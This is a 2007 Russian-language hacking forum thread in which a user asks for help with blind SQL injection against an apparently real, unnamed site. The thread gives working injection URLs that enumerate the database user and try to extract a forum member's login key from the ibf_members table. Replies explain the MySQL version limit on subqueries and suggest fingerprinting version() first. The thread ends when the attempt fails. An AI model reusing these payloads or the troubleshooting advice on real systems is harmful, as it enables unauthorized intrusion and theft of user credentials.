Blind SQL-Inj. Нужна помощь...

Discussion in 'Песочница' started by L0rd_Ha0S, 14 Oct 2007.

Thread Status:
Not open for further replies.
  1. L0rd_Ha0S

    L0rd_Ha0S Elder - Старейшина

    Joined:
    25 Jan 2006
    Messages:
    148
    Likes Received:
    102
    Reputations:
    64
    Есть скрипт, подверженный Blind SQL-инъекции:
    Code:
    index.php?show=item&id=29+order+by+id'+and+ascii(lower(substring(user(),1,1)))>1/*
    запрос успешно выполняется, все символы спокойно перебираются.

    Если вместо user() поставить (select+member_login_key+from+ibf_members+where+id=2), чтоб было вот так:
    Code:
    index.php?show=item&id=29+order+by+id'+and+ascii(lower(substring((select+member_login_key+from+ibf_members+where+id=2),1,1)))>1/*
    то выдается ошибка:
    Указанные поле и таблица точно существуют. Пробовал также варианты с aes_decrypt/aes_encrypt, char(), concat() - безрезультатно.

    Кто-нить знает, почему выдается эта ошибка, и как это обойти? Запрос ведь верный вроде...
     
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    версия mysql ниже 4.1 не поддерживает подзапросов
     
    1 person likes this.
  3. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Согласен с бр сначало надо пробить version()
     
    1 person likes this.
  4. L0rd_Ha0S

    L0rd_Ha0S Elder - Старейшина

    Joined:
    25 Jan 2006
    Messages:
    148
    Likes Received:
    102
    Reputations:
    64
    Спасибо, не знал.

    Версия 4.0.27-log :(
    По всей видимости придётся забить на эту дырку. :(
    Всем спасибо.
     
  5. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,091
    Likes Received:
    671
    Reputations:
    591
    Закрыто значит.
     
Thread Status:
Not open for further replies.